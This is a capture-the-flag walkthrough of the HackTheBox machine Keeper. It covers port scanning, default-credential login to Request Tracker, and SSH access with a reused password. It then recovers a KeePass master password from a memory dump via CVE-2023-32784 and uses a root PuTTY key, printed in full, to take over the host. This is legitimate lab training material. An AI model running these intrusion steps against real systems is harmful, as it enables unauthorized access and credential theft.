HackTheBox | Keeper

In this walkthrough, I demonstrate how I obtained complete ownership of Keeper on HackTheBox
HackTheBox | Keeper
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Mon Feb  5 11:41:39 2024 as: nmap -Pn -p- --min-rate 5000 -A -oN nmap.txt 10.10.11.227
Nmap scan report for 10.10.11.227
Host is up (0.012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/5%OT=22%CT=1%CU=32757%PV=Y%DS=2%DC=T%G=Y%TM=65C10
OS:FE2%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT      ADDRESS
1   11.26 ms 10.10.14.1
2   11.35 ms 10.10.11.227

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb  5 11:42:10 2024 -- 1 IP address (1 host up) scanned in 31.52 seconds





Service Enumeration

TCP/80

We can see the tickets.keeper.htb hostname in the hyperlink there, so let's add it to our /etc/hosts file.

echo '10.10.11.227        keeper.htb tickets.keeper.htb' | sudo tee -a /etc/hosts

I did some enumeration with gobuster but didn't find anything too interesting. Looking at the page, we can easily see the version of the application: »|« RT 4.4.4+dfsg-2ubuntu1 (Debian).

best practical request tracker default credentials - Google Search

Logging in with Default Credentials

Login successful!
There's a recently viewed ticket in the history regarding KeePass
Under the 'History' tab, we see there should be an attachment
We have a potential username of 'webmaster@keeper.htb' or 'lnorgaard'
The file is said to have been removed, let's keep gathering more info



User Enumeration

Go to Admin > Users > Select
Welcome2023!





Exploit

Unchanged Passwords

The beginning of this exploit chain started with an unchanged root password on the Request Tracker service. Upon logging into the service with the default credentials, some simple enumeration led to an exposed password for the lnorgaard user.

This password was repeated for the ssh credential as well. In addition to not changing their password, they should use public key authentication exclusively for their SSH logins.

lnorgaard:Welcome2023!





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"    
Linux keeper 5.15.0-78-generic #85-Ubuntu SMP Fri Jul 7 15:25:09 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)    
Sorry, user lnorgaard may not run sudo on keeper.



Users and Groups

Local Users

lnorgaard:x:1000:1000:lnorgaard,,,:/home/lnorgaard:/bin/bash    

Local Groups

lnorgaard:x:1000:    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:28:52 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.227/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:2852/64 scope global dynamic mngtmpaddr 
       valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb9:2852/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                  



Processes and Services

Interesting Services

  mariadb.service             loaded active running MariaDB 10.6.12 database server
  postfix@-.service           loaded active running Postfix Mail Transport Agent (instance -)



Interesting Files

/home/lnorgaard/RT30000.zip

zip -sf RT30000.zip 
Archive contains:
  KeePassDumpFull.dmp
  passcodes.kdbx
Total 2 entries (253398818 bytes)





Privilege Escalation

Cracking the KeePass Vault

extract passwords from keepass ”.dmp” - Google Search

Using this Google search, one of the first hits to come up is CVE-2023-32784. Proceeding to search for this CVE on Google, I find this result:

NVD - cve-2023-32784
In KeePass 2.x before 2.54, it is possible to recover the cleartext master password from a memory dump, even when a workspace is locked or no longer running. The memory dump can be a KeePass process dump, swap file (pagefile.sys), hibernation file (hiberfil.sys), or RAM dump of the entire system. The first character cannot be recovered. In 2.54, there is different API usage and/or random string insertion for mitigation.



Copy the KeePass Files Locally

scp lnorgaard@keeper.htb:/home/lnorgaard/RT3000.zip .
unzip RT3000.zip

Transfer the archive and unzip it in the current directory

We have a Windows .dmp file and a KeePass database
site%3Agithub.com intext%3ACVE-2023-32784 - Google Search

Search for ways to extract the passwords from the .dmp file on Linux

GitHub - z-jxy/keepass_dump: KeePass 2.X dumper (CVE-2023-32784)
KeePass 2.X dumper (CVE-2023-32784). Contribute to z-jxy/keepass_dump development by creating an account on GitHub.

Python PoC has some potential

git clone https://github.com/dawnl3ss/CVE-2023-32784
cd CVE-2023-32784
python3 poc.py -h
python3 poc.py -d ../KeePassDumpFull.dmp



Finding a Valid Password

We know the following about the possible password:

  • The first two characters are indecisive
    • We know the first character is always unknown based on reviewing many of the POCs for this CVE
    • The second character could be anything at this point
  • The sixth character is indecisive
  • The fourteenth character is indecisive
  • It's likely not in English judging by character analysis
″*dgr*d med fl*de” “danish” words - Google Search

I searched Google using some wildcards and search operators

The password is most likely Rødgrød med fløde or rødgrød med fløde depending on the capitalization of the first character.



Open the KeePass Vault

sudo apt install -y kpcli

Install 'kpcli' to interact with the .kdbx file

echo 'rødgrød med fløde' | kpcli --kdb=passcodes.kdbx --pwfile=/dev/stdin
kpcli:/> show passcodes/Network/keeper.htb\ (Ticketing\ Server)
We have a Putty SSH key for root on the target server



SSH as Root

We're going to copy and paste everything from the Notes: section into a file and convert the SSH key from Putty format into OpenSSH format.

⚠️
Be sure to remove any leading spaces on each line

./putty_key

PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
sudo apt install -y putty-tools
puttygen putty_key -O private-openssh -o root_key
ssh -i root_key root@keeper.htb

Use 'putty-tools' on Linux to create private key file in OpenSSH format



Flags

User

2478f1a1e434b99a48c0d92991ddd9d5    

Root

9348074f1c40bdd4b5e1c1bf7c402eed    
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.